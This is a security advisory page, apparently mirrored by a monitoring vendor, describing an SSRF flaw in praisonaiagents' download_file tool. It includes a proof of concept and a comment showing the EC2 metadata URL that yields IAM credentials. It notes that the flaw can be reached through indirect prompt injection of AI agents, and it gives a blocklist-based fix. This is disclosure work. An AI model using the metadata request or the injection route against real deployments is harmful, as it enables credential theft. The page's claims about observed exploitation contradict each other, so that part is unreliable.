Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-44c2-3rw4-5gvh
No affected components available
Summary
FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.
Details
file_tools.py:259 (source) -> file_tools.py:296 (sink)
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):
# sink -- unvalidated url passed to httpx with redirect following
with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
PoC
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888
import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file
result = download_file(
url="http://127.0.0.1:8888/ssrf-test",
destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file
Impact
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.
Suggested Fix
from urllib.parse import urlparse
import ipaddress
BLOCKED_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
]
def _validate_url(url: str) -> None:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
try:
addr = ipaddress.ip_address(parsed.hostname)
for net in BLOCKED_NETWORKS:
if addr in net:
raise ValueError(f"Requests to {addr} are not permitted")
except ValueError as e:
if "does not appear to be" not in str(e):
raise
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard